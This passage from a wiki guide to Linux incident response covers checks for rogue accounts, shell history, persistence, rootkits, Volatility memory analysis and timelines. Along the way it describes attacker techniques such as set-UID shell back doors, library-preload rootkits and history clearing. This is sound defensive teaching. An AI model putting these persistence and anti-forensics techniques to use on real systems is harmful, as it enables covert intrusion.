A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
